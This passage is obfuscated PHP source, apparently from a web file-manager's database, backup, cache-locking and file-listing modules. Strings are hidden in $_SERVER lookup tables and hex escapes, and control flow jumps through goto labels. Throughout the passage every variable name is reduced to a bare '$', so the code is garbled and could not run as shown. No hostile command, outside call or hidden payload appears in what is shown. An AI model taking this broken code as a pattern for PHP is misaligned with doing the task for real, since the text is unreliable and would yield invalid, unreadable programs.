$[12]), $[37] => isset($[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[424]), $[39] => isset($[$[96]]) ? strtolower($[$[96]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$[1000]]) ? strtolower($[$[1000]]) == $[44] : (isset($[$[96]]) ? $[$[96]] : !1)); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (think_config($[1001])) { $ = str_replace($[1002], $, think_config($[1001])); } else { switch ($this->dbType) { case $[969]: case $[971]: $ = $[1003]; break; case $[968]: case $[986]: $ = $[1004]; break; case $[995]: $ = $[1005]; break; case $[970]: think_exception(think_lang($[1006]) . $[1007]); break; case $[987]: $ = $[45] . $[46] . $[47]; break; case $[998]: default: if (!empty($)) { $ = $[950] . $ . $[951]; } else { $ = $[952]; } } } $ = $this->query($); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } protected function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[995]: case $[987]: $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } break; case $[968]: case $[986]: break; case $[970]: break; case $[969]: case $[971]: break; case $[998]: default: $ .= $[51] . $ . $[53]; } } return $; } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[998]) { if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $[4] . $[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; switch ($this->dbType) { case $[995]: case $[968]: case $[986]: case $[998]: return addslashes($); case $[970]: case $[987]: case $[969]: case $[971]: return str_ireplace($[58], $[59], $); } } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $[1008] . $this->escapeString($) . $[1008]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[343]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1009]), $); } elseif (is_bool($)) { $ = $ ? $[90] : $[214]; } elseif (is_null($)) { $ = $[105]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[995]: case $[987]: case $[968]: case $[986]: case $[970]: case $[998]: return $this->_linkID->lastInsertId(); case $[969]: case $[971]: $ = $this->table; $ = $this->query("\x53\105\x4c\105\103\124\40{$}\x2e\x63\x75\162\162\166\x61\154\x20\143\165\x72\162\166\x61\154\40\106\122\117\115\40\x64\165\141\154"); return $ ? $[0][$[1010]] : 0; } } } goto A; b: class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[][339]][$_SERVER[][216]][$_SERVER[][511]]; $ = array($_SERVER[][512] => array($_SERVER[][852], $), $_SERVER[][853] => array($_SERVER[][377], $[$_SERVER[][796]])); $ = (int) Model($_SERVER[][834])->where($)->count($_SERVER[][511]); $ = (int) Model($_SERVER[][834])->where($)->sum($_SERVER[][78]); $ = new TaskFileTransfer($_SERVER[][854], $_SERVER[][825], $, LNG($_SERVER[][826]) . $_SERVER[][827] . LNG($_SERVER[][855])); $->task[$_SERVER[][808]] = $; $ = array($_SERVER[][856] => $, $_SERVER[][857] => $, $_SERVER[][858] => time()); Backup::set($); $ = !0; $ = $this->storeIds(); $ = 1; $ = 1000; $ = $ = 0; $ = array(); $ = $ = 0; do { $ = $_SERVER[][859]; $ = Model($_SERVER[][834])->where($)->field($)->order($_SERVER[][860])->selectPage($, $); $ = !empty($[$_SERVER[][415]]) ? $[$_SERVER[][415]] : array(); foreach ($ as $) { if (!$this->_fileExist($, $, $)) { $ -= 1; $ -= (int) $[$_SERVER[][78]]; write_log("\146\151\154\145\40\156\x6f\164\x20\x65\170\x69\163\x74\56\146\151\x6c\x65\x49\x44\x3a{$[$_SERVER[][511]]}\x2c\40\x70\x61\164\150\x3a{$[$_SERVER[][86]]}", $_SERVER[][861]); continue; } $ = $[$_SERVER[][86]]; $ = "\173\151\x6f\x3a{$[$_SERVER[][796]]}\175" . substr($, strlen("\173\151\157\x3a{$[$_SERVER[][862]]}\x7d")); if (IO::exist($)) { $->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][78]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[][863])) { write_log($_SERVER[][864] . $ . $_SERVER[][848] . $ . $_SERVER[][167], $_SERVER[][825]); $ = !1; break; } } $ = $[$_SERVER[][511]]; $ += 1; $ += $[$_SERVER[][78]]; $ += 1; $ += $[$_SERVER[][78]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][865] => $, $_SERVER[][866] => $, $_SERVER[][867] => $); Backup::set($); $ = $ = 0; } } $ = count($); $++; } while ($ == $); $->end(); $ = array($_SERVER[][868] => 1, $_SERVER[][806] => time(), $_SERVER[][820] => 1, $_SERVER[][865] => $, $_SERVER[][857] => $, $_SERVER[][856] => $, $_SERVER[][869] => time()); if ($) { $[$_SERVER[][866]] = $; $[$_SERVER[][867]] = $; } Backup::set($); $this->_fileFilter($); return !0; } private function _fileExist($, &$, $) { $ =& $_SERVER[]; $ = $[$[86]]; if (in_array($[$[511]], $)) { return !1; } if (!in_array($[$[862]], $)) { return !1; } if (IO::exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $[] = $[$[511]]; return !1; } $ = array($[862] => $[$[862]], $[86] => array($[429], "{$}\x25")); $ = Model($[834])->where($)->field($[512])->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[511])); return !1; } private function _fileFilter($) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[511] => array($[7], array_unique($))); $ = Model($[870])->where($)->field($[183])->select(); foreach ($ as $) { Model($[870])->remove($[$[183]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[812])->listData(); $ = array(); $ = $GLOBALS[$[6]][$[91]][$[871]]; foreach ($ as $) { $ = strtolower($[$[97]]); if (!isset($[$])) { continue; } $ = $[76] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { continue; } $[] = $[$[445]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[395]]; $ = $[$[$[872]]]; $ = $[$[873]]; switch ($[$[872]]) { case $[21]: self::$handle = Model($[874]); break; case $[875]: self::$handle = new CacheRedis($, $); break; case $[876]: self::$handle = new CacheMemcached($, $); break; case $[216]: self::$handle = new CacheFile($, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $ = false) { $ = self::key($); $ = self::init(); if ($) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $ = $->get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($, $, $ = false) { $ =& $_SERVER[]; $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } $ = self::init(); $ = serialize($); CacheLock::lock($ . $[877]); $ = $->set($, $, $); self::$memoryCache[$] = $; CacheLock::unlock($ . $[877]); return $; } public static function getCall($, $, $, $ = array()) { $ =& $_SERVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($, $); $ = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($) { $ = self::key($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($); CacheLock::unlock($); return $; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][878])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][879])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[86]]; $this->prefix = $[880]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[]; $ = str_replace(array($[881], $[99], $[75]), $[882], $); return $this->cachePath . $[883] . $ . $[884]; } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[884]) && strpos($, $[885])) { @unlink($); } } } public function clearTimeout() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $[884]) && strpos($, $[885]) && filemtime($) < time()) { @unlink($); } } } } goto F; D: class CacheLockRedis { public function lock($, $ = 10) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$) { $ = $->setLock($, $, $); if ($) { return !0; } } else { if ($ < microtime(!0)) { $->set($, $, $ * 2); if ($->get($) === $) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockMemcached { public function lock($, $ = 0) { $ = Cache::init(); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->handle->add($, $, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($, $ = 0) { $ = Model($_SERVER[][874]); $ = microtime(!0) + $; while (microtime(!0) < $) { $ = $->get($); if (!$ || $ < microtime(!0)) { $ = $->set($, $); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Model($_SERVER[][874])->get($); } public function unlock($) { Model($_SERVER[][874])->remove($); } } goto a; F: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ = false, $ = '', $ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $ ? isset($[$]) ? $[$] : null : $; } $ = $this->filterWhere(array($[33] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[96], $[420]); foreach ($ as $ => $) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $ ? $[$] : $; } public function set($, $ = false, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = array(); $ = is_array($) ? $ : array($ => $); foreach ($ as $ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $[4] . $); $ = self::textEncode($); $ = array($[33] => $, $[96] => $, $[420] => $); $[] = $this->filterWhere($); } if (!$) { return !0; } $ = $this->cacheKey($[446]); CacheLock::lock($); $ = $this->addAll($, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ = false, $ = '') { $ = explode($_SERVER[][10], $); $ = $this->get(); array_set_value($, $, $); $this->set($[0], $[$[0]], $); } public function remove($, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[96] => $, $[33] => $)); if (is_null($)) { unset($[$[96]]); } return $this->where($)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\163\157\x75\162\143\x65"; protected $tableMeta = array("\164\141\142\x6c\145\116\x61\x6d\145" => "\x69\x6f\137\x73\157\165\162\143\x65\137\155\145\x74\x61", "\x6d\145\164\x61\x46\x69\x65\154\144" => "\163\157\x75\162\x63\145\x49\104"); protected $dataAuto = array(array("\x6d\x6f\144\x69\146\171\124\x69\x6d\x65", "\164\x69\x6d\x65", "\x69\x6e\x73\145\162\164", "\x66\165\156\x63\x74\x69\x6f\156"), array("\x63\x72\x65\x61\164\x65\124\x69\155\145", "\x74\151\155\145", "\x69\x6e\163\x65\162\164", "\146\x75\x6e\143\164\151\157\156"), array("\x76\x69\x65\x77\x54\151\x6d\145", "\164\151\155\x65", "\151\156\x73\145\162\164", "\146\x75\156\x63\164\x69\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][447] => $)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\x73\x79\163\x74\145\x6d", self::TYPE_USER => "\x75\x73\x65\162", self::TYPE_GROUP => "\147\x72\x6f\x75\x70"); return $[$ . $_SERVER[][12]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($[183] => array($[7], $)))->select(); $this->_listDataApply($, $); return array_to_keyvalue($, $[183]); } public function pathInfoFilter(&$) { $ =& $_SERVER[]; static $ = false; static $ = false; static $ = false; if (!$) { $ = $[448]; $ .= $[449]; $ .= $[450]; $ = $[451]; $ = explode($[50], $); $ = explode($[50], $); $ = array(); foreach ($ as $) { if (in_array($, $)) { continue; } $[] = $; } $ = explode($[50], $[452]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$[86]] = $[453] . $[$[183]] . $[454]; $[$[33]] = $[$[455]] == 1 ? $[77] : $[216]; $[$[180]] = $this->typeName($[$[180]]); if ($[$[455]] != 1) { $[$[177]] = $[$[456]]; unset($[$[456]]); } $ = $; if (isset($[$[457]]) && $[$[457]][$[458]] == -1) { $ = $; } $ = array_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[]; $ = Model($[459])->listData(); $ = array_filter_by_field($, $[33], $[460]); $ = array_to_keyvalue($, $[12], $[86]); if ($) { $ = $this->listSource(array($[461] => array($[462], $))); } $ = array_to_keyvalue($[$[415]], $[183]); foreach ($ as &$) { $ = array($[463] => $[$[445]], $[464] => $[$[32]], $[465] => $[$[86]], $[466] => $[$[33]], $[467] => $[$[217]], $[468] => $[$[87]]); if ($[$[33]] == $[460] && $[$[$[86]]]) { $[$[89]] = $[$[$[86]]]; } } unset($); return $; } public function listUserTag($) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($[469])->listData(); $ = array(); $ = array(); foreach ($ as $) { $ = $[$[86]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[470]]; $[$[$[86]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($)) { $ = $[$]; $ = array($[32] => $[$[32]], $[86] => $[$[86]], $[33] => $[$[33]], $[89] => array($[471] => 1), $[218] => !0); if ($[$[33]] == $[216]) { $[] = $; } if ($[$[33]] == $[77]) { $[] = $; } continue; } $[] = $; } if ($) { $ = $this->listSource(array($[461] => array($[462], $))); } $ = $ ? $ : array($[84] => array(), $[85] => array()); $[$[84]] = array_merge($[$[84]], $); $[$[85]] = array_merge($[$[85]], $); if (isset($[$[412]]) && count($) == $[$[412]][$[413]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[84]], $[12], $[183]); $ = array_to_keyvalue($[$[85]], $[12], $[183]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { Model($[472])->removeBySource($); } return $; } public function listUserRecycle() { $ =& $_SERVER[]; $ = Model($[473])->listData(); if (!$) { return array(); } $ = array($[461] => array($[462], $), $[474] => 1); return $this->listSource($); } public function listSource($, $ = 3000, $ = false) { $ =& $_SERVER[]; if (!isset($[$[475]])) { $[$[475]] = 0; } if (isset($[$[182]]) && $[$[182]] == $[214]) { $[$[456]] = array($[377], $[476]); } $ = $[477]; $ = $this->field($)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($, $, $); $this->_listDataApply($[$[415]], $); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $) { $ =& $_SERVER[]; if (!is_array($[$[412]])) { return; } $ = $[$[412]]; if ($[$[414]] <= 1) { return; } if ($[$[413]] >= 100000) { return; } if (Model($[478])->get($[479]) != $[480]) { return; } $ = str_replace(array($[53], $[388], $[248]), $[12], $); $ = $[481] . str_replace($[50], $[482], $) . $[483]; $ = $[484]; $ = $ . $[485]; $ = $[$[409]] * ($[$[399]] - 1) . $[50] . $[$[409]]; $ = $this->_makeOrder(!0); $ = $[481] . str_replace($[50], $[482], $[0]); if (strpos($, $[486])) { $ = str_replace($[486], $[487], $); } else { $ .= $[488] . $[1]; } $ = array(); foreach ($ as $ => $) { $[$[481] . $] = $; } $this->alias($[489])->field($)->limit($)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[415]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $ = Model($[490])->get($[491]); $ = Model($[490])->get($[492]); $ = array($[493] => $[494], $[495] => $[496]); $ = array($[32] => $[32], $[78] => $[78], $[177] => $[456], $[497] => $[497], $[498] => $[499], $[217] => $[217], $[87] => $[87]); $ = Input::get($[500], $[7], $, array_keys($)); $ = Input::get($[501], $[7], $, array_keys($)); if (!in_array($, array_keys($))) { $ = $[32]; } if (!in_array($, array_keys($))) { $ = $[493]; } if ($ == $[32]) { } $ = $[502] . $[$] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); } return $this->order($); } protected function _listDataApplyItem($, $ = false) { $ = array($); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[]; if (!$) { $ = array(); return; } $ = array_to_keyvalue($, $[12], $[183]); $ = array_unique($); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVER[]; foreach ($ as $) { self::$cacheSourceInfo[$[503] . $[$[183]]] = $; } } protected function _listFilterInfo(&$, $ = false) { $ =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[504] . intval($) . $[432] . $[$[183]]] = $; } unset($); } protected function _listMake(&$) { $ =& $_SERVER[]; $[$[84]] = array(); $[$[85]] = array(); foreach ($[$[415]] as $) { $ = $[$[455]] == 1 ? $[84] : $[85]; $[$][] = $; } unset($[$[415]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[461] => array($[462], $)); $ = Model($[505])->field($[506])->where($)->select(); if (!$) { return; } $ = array($[507], $[508], $[487]); $ = array(); foreach ($ as $) { if (!isset($[$[$[183]]])) { $[$[$[183]]] = array(); } if (in_array($[$[96]], $)) { continue; } $[$[$[183]]][$[$[96]]] = $[$[420]]; } foreach ($ as &$) { $[$[509]] = !1; if (isset($[$[$[183]]])) { $[$[509]] = $[$[$[183]]]; } if ($this->fileIsLock($) && $[$[457]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[457]][$[458]] = AuthModel::authDisable($[$[457]][$[458]], $); $[$[457]][$[510]][$[457]] = $[$[457]][$[458]]; } } unset($); } protected function _listAppendFileMeta(&$, $) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[511]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($[512] => array($[462], $)); $ = $[513]; $ = Model($[514])->field($)->where($)->select(); $ = array_to_keyvalue($, $[511]); $ = Model($[515])->field($[516])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $) { if (!isset($[$[$[511]]])) { $[$[$[511]]] = array(); } $[$[$[511]]][$[$[96]]] = $[$[420]]; } foreach ($ as &$) { $ = $[$[511]]; if (!$ || !is_array($[$])) { continue; } $ = $[$]; $[$[78]] = $[$[78]]; $[$[32]] = $[$[32]]; if (!$[$[517]]) { Model($[514])->fileMd5Check($); } if (!isset(self::$cacheFileInfo[$[518] . $])) { self::$cacheFileInfo[$[518] . $] = array_merge(array(), $); } unset($[$][$[86]]); $ = is_array($[$]) ? $[$] : array(); $[$[519]] = array_merge($, $[$]); if (isset($[$[519]][$[173]])) { $[$[173]] = json_decode($[$[519]][$[173]], !0); unset($[$[519]][$[173]]); } } unset($); } protected function _listAppendSourceInfo(&$, $) { $ =& $_SERVER[]; $ = Model($[520])->listData(); $ = Model($[469])->listData(); $ = Model($[459])->listData(); $ = Model($[521])->listSimple(); $ = array_to_keyvalue($, $[445]); $ = array_to_keyvalue_group($, $[86], $[470]); $ = array_to_keyvalue($, $[86]); $ = array_to_keyvalue_group($, $[183]); foreach ($ as &$) { $[$[89]] = array($[522] => 0, $[523] => 0, $[524] => 0); if (isset($[$[$[183]]])) { $[$[89]][$[525]] = 1; $[$[89]][$[526]] = $[$[$[183]]][$[32]]; } if ($ && $ && isset($[$[$[183]]])) { $[$[89]][$[527]] = array(); foreach ($[$[$[183]]] as $) { $ = $[$]; $[$[89]][$[527]][] = array($[528] => $[$[445]], $[464] => $[$[32]], $[529] => $[$[530]]); } } if ($ && isset($[$[$[183]]])) { $[$[89]][$[531]] = array(); foreach ($[$[$[183]]] as $) { $ = $[532]; if ($[$[533]] == $[90]) { $ .= $[534]; } $[$[89]][$[531]] = array_field_key($, explode($[50], $)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ = array(); $ = array($[225] => 0, $[226] => 0); foreach ($ as &$) { if (!$[$[455]]) { continue; } $[] = $[$[183]]; } unset($); if (!$) { return; } $ = array($[182] => array($[7], $), $[475] => 0); $ = array($[182], $[455], $[535] => $[536]); $ = $this->field($)->where($)->group($[537])->select(); $ = array(); foreach ($ as $) { $ = $[$[182]]; $ = $[$[455]] == $[90] ? $[226] : $[225]; if (!isset($[$])) { $[$] = array($[225] => 0, $[226] => 0); } $[$][$] += $[$[536]]; } foreach ($ as &$) { if (!$[$[455]]) { continue; } $ = is_array($[$[$[183]]]) ? $[$[$[183]]] : $; $[$[226]] = $[$[226]]; $[$[225]] = $[$[225]]; unset($[$[456]]); } unset($); } protected function _listAppendAuth(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $) { if ($[$[180]] == self::TYPE_GROUP) { $[] = $[$[183]]; } } if (!$) { return; } $ = array_to_keyvalue($, $[183]); $ = Model($[538])->getSourceList($, $); $ = KodUser::isRoot(); foreach ($ as $ => &$) { $[$[457]] = $[$[$[183]]]; if (!$[$[457]] && $[$[180]] == self::TYPE_GROUP) { $[$[457]] = Action($[539])->pathGroupAuthMake($[$[540]]); if (!$[$[457]] && !$) { $[$[219]] = !1; $[$[218]] = !1; } } if ($[$[457]]) { $[$[219]] = AuthModel::authCheckEdit($[$[457]][$[458]]); $[$[218]] = AuthModel::authCheckView($[$[457]][$[458]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[478])->get($[541]) != $[90]) { return; } static $ = false; if (!$) { $ = Model($[542]); $ = Model($[543]); $ = $->listData(); $ = array_to_keyvalue($, $[183]); $ = json_decode(Model($[478])->get($[544]), !0); $ = array_to_keyvalue($, $[445]); foreach ($ as $ => $) { $ = $[$[$[545]]]; if (!$) { $->remove($[$[445]]); unset($[$]); continue; } $ = $->listData($[$[457]]); if (!$) { $->remove($[$[445]]); unset($[$]); continue; } $[$[457]] = $; $[$[546]] = $; $[$[547]] = Model($[548])->getInfoSimpleOuter($[$[497]]); $[$] = $; } } $ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ => &$) { if (!is_array($[$[457]])) { continue; } if ($[$[180]] != $[549]) { continue; } if (isset($[$[$[183]]])) { $ = $[$[$[183]]]; if (!is_array($[$[509]])) { $[$[509]] = array(); } $[$[509]][$[550]] = $[$[545]]; $[$[457]][$[551]] = $; $[$[457]][$[552]] = $[$[553]]; $[$[457]][$[554]] = $[90]; if ($[$[497]] != $) { $[$[457]][$[458]] = $[$[457]][$[458]] & $[$[457]][$[457]]; } continue; } $ = $this->parentLevelArray($[$[555]]); $ = array_reverse($); foreach ($ as $ => $) { if (!isset($[$])) { continue; } $ = $[$]; $[$[457]][$[551]] = $; if ($[$[497]] != $) { $[$[457]][$[458]] = $[$[457]][$[458]] & $[$[457]][$[457]]; } $ = $[12]; $ = count($) - $; for ($ = 0; $ < $; $++) { if (!isset($[$[$]])) { $ = $[12]; break; } $ = $ . rtrim($[$[$]], $[8]) . $[8]; } $[$[457]][$[552]] = rtrim($, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[]; if ($[$[180]] != self::TYPE_GROUP) { return; } $ = Model($[556])->getInfo($[$[540]]); $ = $this->parentLevelArray($[$[555]]); $ = $[12]; foreach ($ as $) { $ = Model($[556])->getInfo($); $ .= $[$[89]][$[183]] . $[50]; } $[$[557]] = $[$[182]]; $[$[558]] = $[$[555]]; $[$[559]] = $[$[560]]; $[$[561]] = $ . $[$[89]][$[183]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ as &$) { $ = $[$[183]]; if ($[$[455]] == $[90] && $[$[182]] != 0) { $[$] = $[$[32]]; } if ($[$[455]] == $[90] && $[$[182]] == 0) { $[$] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[555]]])) { continue; } $[$[$[555]]] = !0; $ = $this->parentLevelArray($[$[555]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count($) > 0) { $ = array($[461] => array($[462], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $ = is_array($) ? array($) : !1; } else { $ = $this->field($[562])->where($)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $[$[$[183]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$) { $ = $[$[555]]; $ = $[12]; if (isset($[$])) { $ = $[$]; } else { $ = $this->parentLevelArray($[$[555]]); foreach ($ as $ => $) { if (isset($[$])) { $ .= $[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[455]] == $[90]) { $ .= $[8]; } $[$[553]] = str_replace($[563], $[8], $); if ($[$[182]] == $[214]) { $[$[32]] = trim($[$[$[183]]], $[8]); $[$[553]] = $[$[32]] . $[8]; } if (intval($[$[180]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); return $; } private function _listAppendPathRecycle(&$, $, $) { $ =& $_SERVER[]; if (!in_array($, $) && $[$[183]] != $) { return; } $ = explode($[8], trim($[$[553]], $[8])); $ = implode($[8], array_slice($, 2)); $[$[553]] = $[8] . LNG($[564]) . $[8] . ltrim($, $[8]); $[$[555]] = $[565] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[183]] == $) { $[$[555]] = $[565]; $[$[182]] = $[214]; $[$[32]] = LNG($[564]); } $[$[566]] = $[567]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[]; static $ = false; $ = $[12]; if ($[$[180]] == self::TYPE_USER) { if ($[$[540]] == USER_ID) { $ = LNG($[568]); if ($ === !1) { $ = Model($[569])->getInfoFull(USER_ID); $ = _get($, $[570], $[12]); } if ($ && $[0] == $ || !$ && $[$[183]] == $) { $ = LNG($[571]); $[$[572]] = $[573]; } if (!$) { $[$[32]] = $; } } else { $[$[574]] = Model($[548])->getInfoSimpleOuter($[$[540]]); $ = LNG($[575]) . $[165] . $[$[574]][$[32]] . $[167]; } } else { if ($[$[180]] == self::TYPE_GROUP) { $ = Model($[556])->getInfoSimple($[$[540]]); $ = $[$[32]]; } else { if ($[$[180]] == self::TYPE_SYSTEM) { $ = $[576]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[497]); $ = array_to_keyvalue($, $[12], $[499]); $ = array_merge($, $); $ = Model($[569])->userListInfo($); foreach ($ as &$) { $ = $[$[497]]; $[$[497]] = $[$] ? $[$] : !1; $ = $[$[499]]; $[$[499]] = $[$] ? $[$] : !1; if 